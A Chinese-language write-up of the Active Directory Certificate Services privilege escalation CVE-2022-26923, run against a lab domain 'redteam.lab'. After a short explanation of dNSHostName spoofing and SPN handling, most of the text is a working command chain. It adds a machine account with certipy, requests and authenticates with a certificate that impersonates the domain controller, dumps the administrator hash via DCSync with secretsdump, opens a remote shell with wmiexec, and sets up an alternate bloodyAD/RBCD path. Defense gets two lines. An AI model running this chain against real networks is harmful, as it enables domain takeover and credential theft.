漏洞披露
前置知识:
1.adcs可为域用户和机器账户申请证书
2.PKINIT 为 Kerberos 的扩展协议,可通过 X.509 证书用来获取 Kerberos 票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)
3.PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)
证书服务安装:
https://www.anquanke.com/post/id/245791
漏洞概述
该漏洞与去年年底的nopac通过修改sAMAccountName来达到欺骗KDC类似,这个漏洞的利用是通过修改机器账户的dNSHostName来欺骗KDC。
定位ADCS服务器
1.域内利用certutil
certutil -config - -ping
2.LDAP中查找
CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=lab
用户申请证书
UPN(userPrincipalName)是基于Internet标准RFC 822的用户样式登录名,UPN是可选并在域林中的安全主体对象名中保持唯一。在创建用户时可以指定也可不单独指定,用户格式为:username@domain.name。
域名:redteam.lab
SamAccountName:marry
NetBIOS登录名:reedteam\marry
UserPrincipalName:marry@redteam.lab
用户申请证书时,ADCS Server将申请证书用户的UPN属性值添加到颁发证书的备用名称中,使用证书时将 UPN 从证书映射到目标用户进行识别,因为UPN是可选并在域林中的安全主体对象名中保持唯一,所以通过修改成与任意DC相同的UPN属性不会成立。
机器账户申请证书
机器账户申请证书时,CA 将从 Active Directory 中请求者用户对象的dNSHostName属性获得的值添加到已颁发证书的主题备用名称中进行识别,dNSHostName属性在AD中不要求唯一,所以可以通过修改成与任意DC相同的dNSHostName来达到欺骗ADCS的效果,实现域内提权。
漏洞利用需要修改机器账户dNSHostName字段,但如https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/所说:
修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性时SPN 列表会自动更新。
添加机器帐户默认会创建4个SPN,包括以下内容:
1. HOST/MachineAccountName
2. HOST/MachineAccountName.domain.name
3. RestrictedKrbHost/MachineAccountName
4. RestrictedKrbhost/MachineAccountName.domain.name
意味着将要利用的机器账户改成和DC相同的SPN,但是SPN是网络控制器服务实例的唯一标识符,Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,这时会产生冲突
;但如果servicePrincipalName属性中HOST/MachineAccountName.domain.name和RestrictedKrbhost/MachineAccountName.domain.name在设置以上属性之前已被删除,那么SPN列表将不会更新,除非再次给该字段赋值。
漏洞利用
1.域用户添加机器账户Lzz$
certipy account create redteam.lab/marrys:'Qq123456..'@192.168.129.130 -user Lzz -dns 'DC1.redteam.lab'
2.申请Lzz$的机器证书
certipy req redteam.lab/Lzz\$:'ByEFrd1Qyn1imbvt'@192.168.129.151 -ca 'redteam-ADCSMACHINE-CA-1' -template 'Machine'
3.将证书转换为TGT(返回的PAC中同样包含了ntlm hash)
certipy auth -pfx dc1.pfx -username DC1\$ -domain redteam.lab -dc-ip 192.168.129.130
4.DC机器账户具有dcsync权限,利用证书中提权出来的ntlm hash进行dcsync
python3 secretsdump.py 'redteam.lab/DC1$'@192.168.129.130 -hashes :641347068fbb231b1e14fac2280dd818 -just-dc-user administrator
5.wmi通过administrator进行远程连接
python3 wmiexec.py 'redteam.lab/administrator'@192.168.129.130 -hashes :5e95607216d9a4b7654d831beb9ee95c
bloodyAD.py打法
python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 getObjectAttributes 'DC=redteam,DC=lab' ms-DS-MachineAccountQuota
python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 addComputer cve 'CVEPassword1234*'
python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 setAttribute 'CN=cve,CN=Computers,DC=redteam,DC=lab' dNSHostName '["DC1.redteam.lab"]'
python3 bloodyAD.py -d redteam.lab -u carn2 -p 'Qq123456..' --host 192.168.130.130 getObjectAttributes 'CN=cve,CN=Computers,DC=redteam,DC=lab' dNSHostName
certipy req 'redteam.lab/cve$:CVEPassword1234*@192.168.130.151' -template Machine -dc-ip 192.168.130.130 -ca redteam-ADCSMACHINE-CA
certipy auth -pfx dc1.pfx -dc-ip 192.168.130.130 fail
openssl pkcs12 -in dc1.pfx -out dc1.pem -nodes
python3 bloodyAD.py -d redteam.lab -c ":dc1.pem" -u 'cve$' --host 192.168.130.130 setRbcd 'CVE$' 'dc1$'
MAQ=0利用
1.利用原有机器账户
2.ACL
这里不做具体分析,后面有时间会专门出一个ACL的总体利用。
防御
1.限制MAQ=0
2.打补丁
参考
https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html
History
- Created 2022-10-22 06:00
- Published 2022-05-13 06:01
- Updated 2024-10-21 01:39